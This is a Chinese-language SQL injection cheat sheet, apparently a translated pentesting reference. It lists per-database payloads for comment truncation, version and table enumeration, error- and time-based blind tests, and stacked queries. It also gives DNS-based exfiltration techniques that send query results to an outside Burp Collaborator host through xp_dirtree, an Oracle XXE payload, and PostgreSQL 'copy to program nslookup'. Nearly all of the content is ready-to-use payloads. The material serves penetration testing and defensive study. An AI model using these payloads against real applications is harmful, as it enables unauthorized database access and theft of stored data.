SQL注入小抄

这个SQL注入小抄包含了一些有用的语法例子,你可以用来执行各种在进行SQL注入攻击时经常出现的任务。

字符串连接
你可以将多个字符串串联起来,组成一个字符串:

Oracle    'foo'||'bar'
Microsoft    'foo'+'bar'
PostgreSQL    'foo'||'bar'
MySQL    'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

子串
你可以从一个指定的偏移量中提取字符串的一部分,并指定长度。注意偏移量的索引是基于1的。下面的每个表达式都将返回字符串ba。

Oracle    SUBSTR('foobar', 4, 2)
Microsoft    SUBSTRING('foobar', 4, 2)
PostgreSQL    SUBSTRING('foobar', 4, 2)
MySQL    SUBSTRING('foobar', 4, 2)

注释
你可以使用注释来截断一个查询,并删除原始查询中跟随你输入的部分。

Oracle    --comment
Microsoft    --comment
/*comment*/
PostgreSQL    --comment
/*comment*/
MySQL    #comment
-- comment [Note the space after the double dash]
/*comment*/

数据库版本
你可以查询数据库以确定其类型和版本。这些信息在制定更复杂的攻击时很有用。

Oracle    SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft    SELECT @@version
PostgreSQL    SELECT version()
MySQL    SELECT @@version

数据库内容
你可以列出数据库中存在的表,以及这些表所包含的列。

Oracle    SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft    SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL    SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL    SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件性错误
你可以测试一个单一的布尔条件,并在条件为真时触发一个数据库错误。

Oracle    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL    1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL    SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

分批(或叠加)查询
你可以使用分批查询来连续执行多个查询。注意,当后续的查询被执行时,结果不会返回给应用程序。因此,这种技术主要用于与盲目的漏洞有关,你可以使用第二个查询来触发DNS查询、条件错误或时间延迟。

Oracle    不支持批量查询.
Microsoft    QUERY-1-HERE; QUERY-2-HERE
PostgreSQL    QUERY-1-HERE; QUERY-2-HERE
MySQL    QUERY-1-HERE; QUERY-2-HERE

注意:对于MySQL,分批查询通常不能用于SQL注入。然而,如果目标应用程序使用某些PHP或Python API与MySQL数据库通信,这偶尔是可能的。

时间延迟
当查询被处理时,你可以在数据库中造成一个时间延迟。下面的情况将导致无条件的时间延迟10秒。

Oracle    dbms_pipe.receive_message(('a'),10)
Microsoft    WAITFOR DELAY '0:0:10'
PostgreSQL    SELECT pg_sleep(10)
MySQL    SELECT SLEEP(10)

条件性的时间延迟
你可以测试一个单一的布尔条件,并在条件为真时触发一个时间延迟。

Oracle    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft    IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL    SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS查询
你可以使数据库执行对外部域的DNS查询。要做到这一点,你需要使用Burp Collaborator客户端生成一个独特的Burp Collaborator子域,你将在攻击中使用,然后轮询Collaborator服务器以确认发生了DNS查询。

Oracle 以下技术利用XML外部实体(XXE)漏洞来触发DNS查询。该漏洞已被修补,但仍有许多未修补的Oracle设备存在。

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

下面的技术在完全打过补丁的Oracle安装上也可以使用,但需要提升权限。
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft    exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL    copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL    The following techniques work on Windows only:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

带有数据渗出的DNS查询
你可以使数据库执行DNS查询到一个包含注入查询结果的外部域。要做到这一点,你需要使用Burp Collaborator客户端生成一个独特的Burp Collaborator子域,你将在攻击中使用,然后轮询Collaborator服务器以检索任何DNS交互的细节,包括渗出的数据。

Oracle    SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft    declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL    create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL    The following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值